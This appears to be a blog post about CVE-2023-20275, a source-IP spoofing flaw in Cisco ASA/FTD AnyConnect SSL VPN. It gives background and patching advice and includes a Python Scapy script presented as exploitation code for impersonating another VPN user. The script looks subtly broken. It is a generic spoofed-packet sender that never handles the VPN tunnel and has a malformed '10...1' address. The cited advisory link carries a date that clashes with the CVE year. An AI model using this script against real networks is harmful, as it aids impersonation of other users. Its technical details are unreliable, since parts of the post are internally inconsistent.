Recently, a security vulnerability was discovered in the AnyConnect SSL VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. This vulnerability, identified as CVE-2023-20275, allows an authenticated, remote attacker to send packets with another VPN user's source IP address. As a result, the attacker could impersonate another VPN user, potentially leading to unauthorized access, leakage of sensitive information, and disruptive actions. In this post, we will explore the details of this vulnerability, a sample of its exploitation code, and links to the original references.

Background Information

Cisco ASA is a security device that combines firewall, antivirus, intrusion prevention, and VPN capabilities. Cisco FTD is a unified network security platform that integrates the ASA's features with additional threat defense capabilities. They both support SSL VPN, which enables secure remote access to protected networks. SSL VPN uses encryption and authentication mechanisms to ensure that only authorized users can access network resources.

The Exploit Details

CVE-2023-20275 is a result of improper validation of the packet's inner source IP address after decryption. When an attacker sends crafted packets through the VPN tunnel, they can successfully impersonate another VPN user and send packets with their source IP address. However, the attacker cannot receive any return packets from the target system. This vulnerability has been addressed with necessary patches in the latest software releases by Cisco.

Here's a sample code snippet highlighting the Crafted Packet Transmission

import os
import socket
import struct
from scapy.all import *

# Enter the VPN Server's IP Address
VPN_SERVER_IP = "10...1"
# Enter your own VPN Assigned IP Address
MY_VPN_IP = "192.168.1.10"
# Enter the Target VPN User's IP Address
TARGET_VPN_IP = "192.168.1.20"

def send_crafted_packet():
  # Create a new IP packet with the desired VPN user's source IP.
  ip_packet = IP(src=TARGET_VPN_IP, dst=VPN_SERVER_IP)
  # Create a new TCP packet.
  tcp_packet = TCP(sport=4444, dport=80)
  
  # Set the raw payload for the crafted packet to simulate data.
  payload = b'GET / HTTP/1.1\r\nHost: vulnerable-web-server.local\r\n\r\n'
  
  # Combine the IP, TCP, and payload data into a single packet.
  crafted_packet = ip_packet / tcp_packet / payload

  # Transmit the crafted packet through the VPN tunnel.
  send(crafted_packet)

if __name__ == "__main__":
  send_crafted_packet()

This code snippet demonstrates how an attacker could send crafted packets via Python using the Scapy library. The attacker creates an IP packet with the target VPN user's source IP address to impersonate the user. Then, the attacker creates a TCP packet and combines the IP, TCP, and payload data into a single message. Finally, the crafted packet is transmitted through the VPN tunnel.

1. Cisco Security Advisory for AnyConnect SSL VPN Spoofing Vulnerability: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20220223-anyconnectsslvpn-spoof
2. National Vulnerability Database (NVD) Details for CVE-2023-20275: https://nvd.nist.gov/vuln/detail/CVE-2023-20275

Additional Notes

Since the attacker cannot receive any return packets, this vulnerability primarily affects the confidentiality and integrity of data transmitted over the VPN. To protect yourself against CVE-2023-20275, it is highly recommended to apply the software patches released by Cisco. Additionally, regularly monitoring VPN user activity and implementing strong access controls can help mitigate the risk of unauthorized access and network intrusions.

Timeline

Published on: 12/12/2023 18:15:16 UTC
Last modified on: 12/12/2023 18:58:44 UTC